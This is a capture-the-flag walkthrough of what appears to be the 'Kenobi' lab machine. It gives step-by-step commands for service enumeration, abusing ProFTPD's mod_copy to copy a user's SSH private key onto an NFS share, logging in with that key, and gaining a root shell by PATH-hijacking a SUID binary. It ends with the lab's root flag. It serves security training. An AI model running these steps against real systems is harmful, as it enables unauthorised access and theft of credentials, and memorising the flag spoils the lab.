1. Initial Enumeratio#

1
nmap -sV -sC 10.10.177.254

1
rustscan -a 10.10.177.254

2. SMB Enumeration#

Enumerate SMB shares and users:

1
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.177.254

Connect to the anonymous SMB share:

1
smbclient //10.10.177.254/anonymous

Download the exposed file:

1
get log.txt

Exit the SMB session:

1
exit

Review the contents of log.txt for useful information.

3. NFS Enumeration#

Enumerate NFS exports:

1
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.177.254

Display exported shares:

1
showmount -e 10.10.177.254

4. FTP Service Analysis#

Search for known vulnerabilities:

1
searchsploit ProFTPD 1.3.5

Connect to the FTP service:

1
nc 10.10.177.254 21

Use the ProFTPD file copy functionality to copy Kenobi’s SSH private key into an accessible location:

1
SITE CPFR /home/kenobi/.ssh/id_rsa
2
SITE CPTO /var/tmp/id_rsa

5. NFS Mount and SSH Key Retrieval#

Mount the exported NFS share:

1
sudo mount 10.10.177.254:/var nfs

Navigate to the temporary directory:

1
cd nfs
2
cd tmp

Copy the retrieved private key:

1
cp id_rsa ~/

Return and unmount the share:

1
cd ..
2
cd ..
3
sudo umount nfs

Set correct permissions on the private key:

1
chmod 600 id_rsa

6. User Access#

Authenticate as Kenobi using the private key:

1
ssh -i id_rsa kenobi@10.10.177.254

Retrieve the user flag:

1
cat user.txt

7. Privilege Escalation Enumeration#

Search for SUID binaries:

1
find / -perm -u=s -type f 2>/dev/null

A custom SUID binary is discovered:

1
/usr/bin/menu

8. PATH Hijacking#

Move to a writable directory:

1
cd /tmp

Create a malicious replacement for curl:

1
echo /bin/sh > curl
2
chmod 777 curl

Modify the PATH variable:

1
export PATH=/tmp:$PATH

Execute the vulnerable SUID binary:

1
/usr/bin/menu

Select option:

1
1

The binary executes the attacker-controlled curl, resulting in a root shell.

9. Root Access#

Verify privileges:

1
whoami

Expected output:

1
root

Navigate to the root directory:

1
cd /root

Retrieve the root flag:

1
cat root.txt

Root Flag#

1
177b3cd8562289f37382721c28381f02

Summary#

1. Performed service enumeration using Nmap and RustScan.
2. Enumerated SMB shares and downloaded an exposed log file.
3. Discovered NFS exports and accessible directories.
4. Identified a vulnerable ProFTPD service.
5. Copied Kenobi’s SSH private key into an NFS-accessible location.
6. Mounted the NFS share and retrieved the private key.
7. Logged in as user kenobi.
8. Enumerated SUID binaries and identified a custom privileged program.
9. Exploited a PATH hijacking vulnerability.
10. Obtained root privileges and retrieved the root flag.